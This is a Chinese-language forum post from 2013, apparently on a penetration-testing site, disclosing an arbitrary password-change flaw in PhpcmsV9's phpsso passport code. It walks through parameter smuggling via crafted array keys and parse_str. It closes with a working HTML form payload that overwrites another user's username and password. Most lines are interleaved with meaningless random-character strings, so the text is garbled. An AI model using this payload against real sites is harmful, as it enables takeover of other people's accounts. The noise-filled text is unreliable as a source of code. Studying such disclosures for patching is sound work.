中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
: O% M9 S4 Y' l) c! Q9 \) C
" R Q% M3 V1 z3 C' f6 r
, T6 e. C- T" t& |6 [# j3 P0 q" y
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
; U% l1 ~ b+ o# [
/ E0 K4 [, S" L$ a
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
. e% ]2 I* Z: y' G7 M$ i3 i
/ Q& c& m) t! Q$ o) B6 T7 W" I
我把它留给了你们。
$ K4 q! ~0 n) Z I9 I
不知道你们发现了它没有。
f- z+ l; q1 Y9 B& O$ ?2 v
# j) o$ A/ O9 ^% r2 R: ^
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
+ s" a* D- P6 l; X% Z
) N8 L, o# R1 O+ v! ]# F# F
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
& v, H+ R# ?6 q1 G% A+ v/ i: Z* j
; j6 Z( f- U e4 F! e) z9 L3 c
也就是
D1 H( u. S: C# I# W
/ D5 C& [2 a2 f5 M; r/ N$ {* \) `0 z9 @
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
6 Z( E( K6 t! q$ v0 r! H# ~9 ?
B- g! w* [! d$ n: W
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
! @7 G6 p* |" k# `& i2 G
' m- b0 \) X5 f5 R4 F: V( P
8 G+ S _3 M1 U' j( \8 R
其实我们有这样的机会,看看代码,如下:
" p! P/ v9 b4 c. C. J2 D
5 E+ H5 S. Q [0 b v; ~
; U2 O! _" x/ m) g! o1 K
public function auth_data($data) {
; T3 Q7 H/ {# r5 h# b$ f/ \
$s = $sep = '';
5 |4 K; [8 ^- C4 F1 E' q
foreach($data as $k => $v) {
! f1 c; I0 b# ]9 ?2 I! T
if(is_array($v)) {
) X* F( K) C+ J) m0 G+ z
$s2 = $sep2 = '';
0 |- ^, u" R! E: q
foreach($v as $k2 => $v2) {
. b' D7 H' I0 A4 A4 ^
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
: l5 {0 V" g% h s+ V) M
$sep2 = '&';
! X9 o# j, a. w: [; j3 y
}
, _8 |* p9 w2 o. Y0 ^, V9 @, S! `
$s .= $sep.$s2;
, K! M$ a, D4 i
} else {
$ p. x; j4 M: U! Y# h( P
$s .= "$sep$k=".$this->_ps_stripslashes($v);
; q( o5 D0 ~" ` I7 H0 C
}
6 j/ M) `) U4 ?" _) T( x( B
$sep = '&';
. y& q) U8 M ]- |1 r, S
}
* D8 D% n* U: r
* x/ Y ?* G. t$ g3 a% ?/ v
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
/ I* D+ e, u; ]
return $auth_s;
6 H( q) R. M, p7 u
}
, W5 X6 _- ~; T
h J3 r7 Y' G
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
" X# H: ~8 T6 f& L, X" {
+ b1 r _9 d& O) ~6 U
举个例子
/ V. ]' Y9 Q. l5 V8 ~) }
" N& ^: m0 J0 o6 D$ w
$a[aaa=a&bbb] = 'a';
% g$ Y7 f) L* b* H# e, ]& `
& g5 ?$ H. j/ y' o9 x
会变成aaa=a&bbb=a
2 J" P4 [. F- ~& ^) m6 Z8 b* c
: c) q5 n1 }1 t5 M: Q) e" T6 M, Q
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
$ d9 g" Q5 x7 C' X7 X
8 n4 A- @2 M" S) s/ v7 o5 @
这个时候,我们可以再去看一个函数。
E! i: y; F5 I4 y+ b
$ T% p+ {/ ~ Z( C$ [) V
就在这个文件内:
6 J* D& T" X/ y! x. ^
" C7 ?6 Q' Q/ Q; F
0 r0 k3 X) X2 o
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
; Y; s" ~8 [# F& i) m' \1 w
if($email && !$this->_is_email($email)) {
- g" J# @7 q# p1 W0 [0 O8 R/ U
return -4;
! Q: `8 O; u- e+ ~
}
+ I$ _6 d9 M- n0 E4 g
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
3 z+ G4 k9 W$ T/ Q! \ X/ ~0 ^
}
& ?7 z' J; k5 s7 _
/ F- j! c/ l! g3 ^0 @3 k# A% W- d
这是向通行证发了这样一个请求。
+ |' N6 F# v; z- @; G1 M8 b
( B7 a2 }9 E" O+ W4 A. O2 f
我们再跟到通信证代码里去看看,就会有所发现。
8 \# j5 }6 K; e( r9 Y
& J9 T% X3 X. M1 O6 i
& b1 X3 G' C& j% E# z
public function edit() {
7 j& P' `& {7 g6 U
//能省就省,太长了不是吗?
7 N% {, |. i4 S' g6 s
x, I+ m' O# b: i8 I' g! e
if($this->username) {
) o1 T* V1 V1 _- V0 o: G* B7 V
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
( v9 ?; z+ y; y E
$res = $this->db->update($data, array('username'=>$this->username));
, v: ~4 l. U" u+ t7 ]6 z7 w
} else {
1 f( J. x* F R6 P2 d7 j! G5 W
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
- L3 a1 f' m7 ^+ N9 V6 a5 m$ X
$res = $this->db->update($data, array('uid'=>$this->uid));
2 u ]9 s- |" _* X$ x9 I: ~
}
) _7 _/ c5 T3 \( e* O* K
) Q' R6 M& \7 r+ |! u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
) U1 C2 J/ k& J9 M3 H; b. U1 |! S: Y
" B+ s! _$ m1 i) Z' D- u& ]: `% R3 G
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 a5 U5 m3 Y/ W, P
+ T6 f+ b2 N7 z
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
/ X, }: I. M9 A# A' y7 v
( \4 w; m0 R4 ^- W2 p B
我当然找到了:
0 b+ Q+ |/ X; [9 X
phpcms9/phpcms/modules/member/index.php
& D9 M' u: U7 X# H$ f2 g4 [: i: Y, K
) c; k4 q* G/ @9 @
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
. _5 Y: w. U2 |( t. S
2 r5 m5 r' [2 h; o) u, G5 y' R
然后就没有然后了。
i ~1 N& O' G( Y; [
8 W8 [& h, j$ {" G/ s
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
9 b( [' x6 p2 H* f- t6 W& T5 U5 o
<table width="100%" cellspacing="0" class="table_form">
2 P3 D4 k: o0 d6 g
<tr>
5 V |+ O7 B4 a) n/ T( y+ Y
<th width="80">邮箱:</th>
) o5 w/ b; x4 v3 a2 d$ j4 S3 R
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
$ x) ~$ c- E O3 @7 `* e0 {
</tr>
H5 ~! S! {( C3 ^, g" i( w4 J+ {
<tr>
% e' k' N% e2 \
<th width="80">原密码:</th>
# z3 \4 B4 C! y/ Y9 D6 B
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
; [3 f$ `" B% Y+ V. h4 g# [- U. B8 D
</tr>
2 ~3 m9 ?. ^7 K/ X. c# x
<tr>
; T. A, a. F- [
<th>新密码:</th>
4 J a. p8 c1 I1 o' e! j, z0 |
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
) T3 @# W+ v& p' _' D1 A
</tr>
8 \+ K7 Y! ?3 u8 `1 K0 J B
<th></th>
( X6 C+ J/ p) J2 V0 z3 r7 d- |
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
0 f7 ^# G) R# B. Y: z. @2 t# B
</tr>
. r& C- ^* b4 N$ D# P
</table>
- ?& L+ c+ g A4 ^
4 ^. d. A. |7 f* M
) e: y S, ?9 T4 p3 m+ c7 h
</form>
8 w( t: o7 q7 T ~ m, U! C
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2